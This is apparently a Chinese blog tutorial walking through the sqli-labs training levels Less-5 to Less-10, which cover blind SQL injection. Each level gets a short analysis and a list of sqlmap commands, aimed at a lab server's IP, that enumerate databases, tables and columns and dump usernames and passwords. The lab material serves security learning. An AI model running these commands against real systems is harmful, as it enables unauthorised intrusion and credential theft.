1. 阅读,学习本章前,可以先去看看基础篇:1-手工sql注入(基础篇)-CSDN博客
2. 本章通过对sqlilabs靶场的实战,关于sqlilabs靶场的搭建:Linux搭建靶场-CSDN博客
3. 本章会使用到sqlmap,关于sqlmap的命令:sql注入工具-sqlmap-CSDN博客
点击访问题目:
通过 url 参数访问题目:http://服务器地址/sqlilabs/Less-1/
- Less-1 是第一题题目
- Less-2 是第二题题目
- 以此类推,进行访问
判断注入类型:在SQL注入中,判断是字符型注入还是数字型注入可以通过以下方法:
- 1. 观察注入点的上下文:在注入点前后的SQL语句中,如果注入点处的参数被引号包围(例如:'1'),则很可能是字符型注入;如果不被引号包围(例如:1),则可能是数字型注入。
- 2. 字符串函数的使用:在注入点处,如果使用了字符串函数(如CONCAT、SUBSTRING、LENGTH等),则很可能是字符型注入。这是因为字符串函数通常用于修改字符串值,而数字类型的参数并不需要使用字符串函数。
- 3. 错误消息:如果在注入点处注入了非法字符或非法语法,且数据库返回了错误消息,可以通过错误消息中的内容来判断是字符型注入还是数字型注入。例如,如果错误消息中包含了关于字符串数据类型的错误信息(如字符串转换错误),则可能是字符型注入。
- 4. 注入点的响应:在注入点处注入不同类型的数据,观察数据库的响应。如果注入点返回了期望的结果(如查询结果集),则可能是字符型注入;如果注入点返回了错误信息或者无效的结果,可能是数字型注入。
Less-5
第五题的题目Less-5需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-5/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-5/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-5/?id=1" -D "security" -T "users" -C "username,password" --dump --batch
Less-6
第六题的题目Less-6需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-6/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-6/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-6/?id=1" -D "security" -T "users" -C "username,password" --dump --batch
Less-7
第七题的题目Less-7需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-7/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-7/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-7/?id=1" -D "security" -T "users" -C "username,password" --dump --batch
Less-8
第八题的题目Less-8需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-8/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-8/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-8/?id=1" -D "security" -T "users" -C "username,password" --dump --batch
Less-9
第九题的题目Less-9需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-9/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-9/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-9/?id=1" -D "security" -T "users" -C "username,password" --dump --batch
Less-10
第十题的题目Less-10需要通过给url传递 id 参数访问:也就是我们的注入点
- 例如:http:///sqlilabs/Less-10/?id=1 访问(查询)数据库中id为1的数据
- 分析:
- 请求方式:get请求
- 请求参数:id
- 返回内容:正常访问下传递id参数不会返回查询的数据,不管id传递的什么值,查询正常都返回You are in...........,否则不返回,也可以称为盲注,
- 模拟场景:通过传入的id值判断用户是否存在
注入点:http://38.147.186.138/sqlilabs/Less-10/?id=1
sqlmap
- 检测注入点:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch
- 获取所有数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch --dbs
- 获取当前使用的数据库: python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 --batch --current-db
- 获取security数据库中的数据表:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" --tables --batch
- 获取users表中字段:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" -T "users" --columns --batch
- 获取数据:python sqlmap.py -u "http://38.147.186.138/sqlilabs/Less-10/?id=1" --level=5 --risk=3 -D "security" -T "users" -C "username,password" --dump --batch